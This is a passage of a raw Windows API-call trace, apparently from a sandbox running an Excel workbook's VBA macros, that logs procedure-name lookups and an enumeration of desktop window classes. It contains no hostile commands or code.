lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0284.067] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0284.067] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="doublecheck") returned 0x10f783 [0284.067] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="doublecheck") returned 0x10f783 [0284.067] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="doublecheck") returned 0x10f783 [0284.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.formsands", cchWideChar=-1, lpMultiByteStr=0x23b0c0, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.formsands", lpUsedDefaultChar=0x0) returned 23 [0284.067] strncpy_s (in: _Dst=0xbd19c00, _DstSize=0x18, _Src="ThisWorkbook.formsands", _MaxCount=0x16 | out: _Dst="ThisWorkbook.formsands") returned 0x0 [0284.067] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0284.067] bsearch (_Key=0x239fd8, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0xbd1fb48 [0284.067] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0284.068] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0284.068] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="formsands") returned 0x1020d8 [0284.068] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="formsands") returned 0x1020d8 [0284.068] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="formsands") returned 0x1020d8 [0284.068] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.cleardatas", cchWideChar=-1, lpMultiByteStr=0x23b0c0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.cleardatas", lpUsedDefaultChar=0x0) returned 24 [0284.068] strncpy_s (in: _Dst=0xbe66e00, _DstSize=0x19, _Src="ThisWorkbook.cleardatas", _MaxCount=0x17 | out: _Dst="ThisWorkbook.cleardatas") returned 0x0 [0284.068] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0284.068] bsearch (_Key=0x239fd8, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0xbd1fb48 [0284.068] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0284.068] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0284.068] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="cleardatas") returned 0x106438 [0284.068] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="cleardatas") returned 0x106438 [0284.068] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="cleardatas") returned 0x106438 [0284.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.commde", cchWideChar=-1, lpMultiByteStr=0x23b0c0, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.commde", lpUsedDefaultChar=0x0) returned 20 [0284.069] strncpy_s (in: _Dst=0xbd19c00, _DstSize=0x15, _Src="ThisWorkbook.commde", _MaxCount=0x13 | out: _Dst="ThisWorkbook.commde") returned 0x0 [0284.069] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0284.069] bsearch (_Key=0x239fd8, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0xbd1fb48 [0284.069] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0284.069] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0284.069] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="commde") returned 0x100320 [0284.069] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="commde") returned 0x100320 [0284.069] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="commde") returned 0x100320 [0284.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.crsss", cchWideChar=-1, lpMultiByteStr=0x23b0c0, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.crsss", lpUsedDefaultChar=0x0) returned 19 [0284.069] strncpy_s (in: _Dst=0xbd19c00, _DstSize=0x14, _Src="ThisWorkbook.crsss", _MaxCount=0x12 | out: _Dst="ThisWorkbook.crsss") returned 0x0 [0284.069] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0284.069] bsearch (_Key=0x239fd8, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0xbd1fb48 [0284.069] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0284.069] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0284.069] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="crsss") returned 0x10bd4f [0284.069] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="crsss") returned 0x10bd4f [0284.070] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="crsss") returned 0x10bd4f [0284.070] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ThisWorkbook.SecondNulls", cchWideChar=-1, lpMultiByteStr=0x23b0b0, cbMultiByte=49, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ThisWorkbook.SecondNulls", lpUsedDefaultChar=0x0) returned 25 [0284.070] strncpy_s (in: _Dst=0xbe66e00, _DstSize=0x1a, _Src="ThisWorkbook.SecondNulls", _MaxCount=0x18 | out: _Dst="ThisWorkbook.SecondNulls") returned 0x0 [0284.070] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="ThisWorkbook") returned 0x10e37c [0284.070] bsearch (_Key=0x239fb8, _Base=0xbd1fb40, _NumOfElements=0x2, _SizeOfElements=0x8, _PtFuncCompare=0x7fee5d1219c) returned 0xbd1fb48 [0284.070] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="Sheet1", cchCount2=-1) returned 3 [0284.070] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ThisWorkbook", cchCount1=-1, lpString2="ThisWorkbook", cchCount2=-1) returned 2 [0284.070] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="SecondNulls") returned 0x1017e6 [0284.070] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="SecondNulls") returned 0x1017e6 [0284.070] LHashValOfNameSysA (syskind=0x1, lcid=0x409, szName="SecondNulls") returned 0x1017e6 [0284.382] GetCurrentThreadId () returned 0x8fc [0284.382] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0284.382] GetDesktopWindow () returned 0x10010 [0284.382] GetWindow (hWnd=0x10010, uCmd=0x5) returned 0x10070 [0284.382] GetClassNameA (in: hWnd=0x10070, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.382] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.382] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.382] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10140 [0284.382] GetClassNameA (in: hWnd=0x10140, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ATL:000007FEF4FA52C0") returned 20 [0284.382] lstrcmpA (lpString1="ATL:000007FEF4FA52C0", lpString2="ThunderRT6Main") returned -1 [0284.382] GetWindowThreadProcessId (in: hWnd=0x10140, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6d4 [0284.383] GetWindow (hWnd=0x10140, uCmd=0x2) returned 0x1013a [0284.383] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.383] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.383] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0284.383] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10138 [0284.383] GetClassNameA (in: hWnd=0x10138, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0284.383] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0284.383] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x32c [0284.383] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x200cc [0284.383] GetClassNameA (in: hWnd=0x200cc, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.383] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.383] GetWindowThreadProcessId (in: hWnd=0x200cc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.383] GetWindow (hWnd=0x200cc, uCmd=0x2) returned 0x200e8 [0284.383] GetClassNameA (in: hWnd=0x200e8, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.383] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.383] GetWindowThreadProcessId (in: hWnd=0x200e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.383] GetWindow (hWnd=0x200e8, uCmd=0x2) returned 0x200e0 [0284.383] GetClassNameA (in: hWnd=0x200e0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.383] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.383] GetWindowThreadProcessId (in: hWnd=0x200e0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.383] GetWindow (hWnd=0x200e0, uCmd=0x2) returned 0x10072 [0284.383] GetClassNameA (in: hWnd=0x10072, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.383] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.383] GetWindowThreadProcessId (in: hWnd=0x10072, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.383] GetWindow (hWnd=0x10072, uCmd=0x2) returned 0x1005c [0284.383] GetClassNameA (in: hWnd=0x1005c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.383] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.383] GetWindowThreadProcessId (in: hWnd=0x1005c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.383] GetWindow (hWnd=0x1005c, uCmd=0x2) returned 0x1008a [0284.383] GetClassNameA (in: hWnd=0x1008a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.383] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.383] GetWindowThreadProcessId (in: hWnd=0x1008a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.384] GetWindow (hWnd=0x1008a, uCmd=0x2) returned 0x1007a [0284.384] GetClassNameA (in: hWnd=0x1007a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.384] GetWindowThreadProcessId (in: hWnd=0x1007a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.384] GetWindow (hWnd=0x1007a, uCmd=0x2) returned 0x10078 [0284.384] GetClassNameA (in: hWnd=0x10078, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.384] GetWindowThreadProcessId (in: hWnd=0x10078, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.384] GetWindow (hWnd=0x10078, uCmd=0x2) returned 0x10074 [0284.384] GetClassNameA (in: hWnd=0x10074, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.384] GetWindowThreadProcessId (in: hWnd=0x10074, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.384] GetWindow (hWnd=0x10074, uCmd=0x2) returned 0x10052 [0284.384] GetClassNameA (in: hWnd=0x10052, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0284.384] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0284.384] GetWindowThreadProcessId (in: hWnd=0x10052, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.384] GetWindow (hWnd=0x10052, uCmd=0x2) returned 0x1004e [0284.384] GetClassNameA (in: hWnd=0x1004e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.384] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.384] GetWindowThreadProcessId (in: hWnd=0x1004e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.384] GetWindow (hWnd=0x1004e, uCmd=0x2) returned 0x10054 [0284.384] GetClassNameA (in: hWnd=0x10054, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0284.384] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0284.384] GetWindowThreadProcessId (in: hWnd=0x10054, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.384] GetWindow (hWnd=0x10054, uCmd=0x2) returned 0x10050 [0284.384] GetClassNameA (in: hWnd=0x10050, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0284.384] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0284.384] GetWindowThreadProcessId (in: hWnd=0x10050, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.384] GetWindow (hWnd=0x10050, uCmd=0x2) returned 0x100f4 [0284.384] GetClassNameA (in: hWnd=0x100f4, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.384] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.384] GetWindowThreadProcessId (in: hWnd=0x100f4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3a0 [0284.385] GetWindow (hWnd=0x100f4, uCmd=0x2) returned 0x5009a [0284.385] GetClassNameA (in: hWnd=0x5009a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0284.385] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0284.385] GetWindowThreadProcessId (in: hWnd=0x5009a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.385] GetWindow (hWnd=0x5009a, uCmd=0x2) returned 0x1008c [0284.385] GetClassNameA (in: hWnd=0x1008c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="TaskListThumbnailWnd") returned 20 [0284.385] lstrcmpA (lpString1="TaskListThumbnailWnd", lpString2="ThunderRT6Main") returned -1 [0284.385] GetWindowThreadProcessId (in: hWnd=0x1008c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.385] GetWindow (hWnd=0x1008c, uCmd=0x2) returned 0x200e6 [0284.385] GetClassNameA (in: hWnd=0x200e6, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0284.385] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0284.385] GetWindowThreadProcessId (in: hWnd=0x200e6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x428 [0284.385] GetWindow (hWnd=0x200e6, uCmd=0x2) returned 0x36021c [0284.385] GetClassNameA (in: hWnd=0x36021c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="NUIDialog") returned 9 [0284.385] lstrcmpA (lpString1="NUIDialog", lpString2="ThunderRT6Main") returned -1 [0284.385] GetWindowThreadProcessId (in: hWnd=0x36021c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.385] GetWindowLongA (hWnd=0x36021c, nIndex=-16) returned -2067005440 [0284.385] GetWindowLongPtrA (hWnd=0x36021c, nIndex=-6) returned 0x7fef19a0000 [0284.385] GetWindowLongPtrA (hWnd=0x36021c, nIndex=-6) returned 0x7fef19a0000 [0284.385] GetWindow (hWnd=0x36021c, uCmd=0x2) returned 0x1021a [0284.385] GetClassNameA (in: hWnd=0x1021a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0284.385] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0284.385] GetWindowThreadProcessId (in: hWnd=0x1021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.385] GetWindowLongA (hWnd=0x1021a, nIndex=-16) returned -1946157056 [0284.385] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0284.385] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0284.385] GetWindow (hWnd=0x1021a, uCmd=0x2) returned 0x2019c [0284.385] GetClassNameA (in: hWnd=0x2019c, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.385] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.385] GetWindowThreadProcessId (in: hWnd=0x2019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.385] GetWindowLongA (hWnd=0x2019c, nIndex=-16) returned -1946157056 [0284.385] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0284.385] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0284.385] GetWindow (hWnd=0x2019c, uCmd=0x2) returned 0x202ca [0284.385] GetClassNameA (in: hWnd=0x202ca, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0284.386] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0284.386] GetWindowThreadProcessId (in: hWnd=0x202ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.386] GetWindowLongA (hWnd=0x202ca, nIndex=-16) returned 382664704 [0284.386] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0284.386] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0284.386] GetWindow (hWnd=0x202ca, uCmd=0x2) returned 0x20266 [0284.386] GetClassNameA (in: hWnd=0x20266, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.386] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.386] GetWindowThreadProcessId (in: hWnd=0x20266, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.386] GetWindowLongA (hWnd=0x20266, nIndex=-16) returned -1778384896 [0284.386] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0284.386] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0284.386] GetWindow (hWnd=0x20266, uCmd=0x2) returned 0x20268 [0284.386] GetClassNameA (in: hWnd=0x20268, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.386] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.386] GetWindowThreadProcessId (in: hWnd=0x20268, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.386] GetWindowLongA (hWnd=0x20268, nIndex=-16) returned -1778384896 [0284.386] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0284.386] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0284.386] GetWindow (hWnd=0x20268, uCmd=0x2) returned 0x3026a [0284.386] GetClassNameA (in: hWnd=0x3026a, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.386] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.386] GetWindowThreadProcessId (in: hWnd=0x3026a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.386] GetWindowLongA (hWnd=0x3026a, nIndex=-16) returned -1778384896 [0284.386] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0284.386] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0284.386] GetWindow (hWnd=0x3026a, uCmd=0x2) returned 0x600d0 [0284.386] GetClassNameA (in: hWnd=0x600d0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.386] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.386] GetWindowThreadProcessId (in: hWnd=0x600d0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.386] GetWindowLongA (hWnd=0x600d0, nIndex=-16) returned -1778384896 [0284.386] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0284.386] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0284.386] GetWindow (hWnd=0x600d0, uCmd=0x2) returned 0x101d4 [0284.386] GetClassNameA (in: hWnd=0x101d4, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0284.386] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0284.386] GetWindowThreadProcessId (in: hWnd=0x101d4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.386] GetWindowLongA (hWnd=0x101d4, nIndex=-16) returned 382664704 [0284.387] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0284.387] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0284.387] GetWindow (hWnd=0x101d4, uCmd=0x2) returned 0x101fe [0284.387] GetClassNameA (in: hWnd=0x101fe, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.387] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.387] GetWindowThreadProcessId (in: hWnd=0x101fe, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.387] GetWindowLongA (hWnd=0x101fe, nIndex=-16) returned -1778384896 [0284.387] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0284.387] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0284.387] GetWindow (hWnd=0x101fe, uCmd=0x2) returned 0x10200 [0284.387] GetClassNameA (in: hWnd=0x10200, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.387] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.387] GetWindowThreadProcessId (in: hWnd=0x10200, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.387] GetWindowLongA (hWnd=0x10200, nIndex=-16) returned -1778384896 [0284.387] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0284.387] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0284.387] GetWindow (hWnd=0x10200, uCmd=0x2) returned 0x10202 [0284.387] GetClassNameA (in: hWnd=0x10202, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.387] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.387] GetWindowThreadProcessId (in: hWnd=0x10202, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.387] GetWindowLongA (hWnd=0x10202, nIndex=-16) returned -1778384896 [0284.387] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0284.387] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0284.387] GetWindow (hWnd=0x10202, uCmd=0x2) returned 0x10204 [0284.387] GetClassNameA (in: hWnd=0x10204, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0284.387] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0284.387] GetWindowThreadProcessId (in: hWnd=0x10204, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.387] GetWindowLongA (hWnd=0x10204, nIndex=-16) returned -1778384896 [0284.387] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0284.387] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0284.387] GetWindow (hWnd=0x10204, uCmd=0x2) returned 0x16021e [0284.387] GetClassNameA (in: hWnd=0x16021e, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0284.387] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0284.387] GetWindowThreadProcessId (in: hWnd=0x16021e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xbb4 [0284.387] GetWindow (hWnd=0x16021e, uCmd=0x2) returned 0x40254 [0284.387] GetClassNameA (in: hWnd=0x40254, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="TASKENGINEWINDOWCLASS") returned 21 [0284.388] lstrcmpA (lpString1="TASKENGINEWINDOWCLASS", lpString2="ThunderRT6Main") returned -1 [0284.388] GetWindowThreadProcessId (in: hWnd=0x40254, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5dc [0284.388] GetWindow (hWnd=0x40254, uCmd=0x2) returned 0x110288 [0284.388] GetClassNameA (in: hWnd=0x110288, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0284.388] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0284.388] GetWindowThreadProcessId (in: hWnd=0x110288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5dc [0284.388] GetWindow (hWnd=0x110288, uCmd=0x2) returned 0x202b0 [0284.388] GetClassNameA (in: hWnd=0x202b0, lpClassName=0x23acc0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0284.388] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0284.388] GetWindowThreadProcessId (in: hWnd=0x202b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8fc [0284.388] GetWindowLongA (hWnd=0x202b0, nIndex=-16) returned -2080374784 [0284.388] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0284.388] IsWindowEnabled (hWnd=0x202b0) returned 1 [0284.388] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0284.388] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0284.388] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0284.388] GetWindow (hWnd=0x202b0, uCmd=0x2) returned 0x2026e [0284.388] GetClassNameA (in: hWnd=0x2026e, lpClassName=0x23acc0, nMaxCount=64 | out: 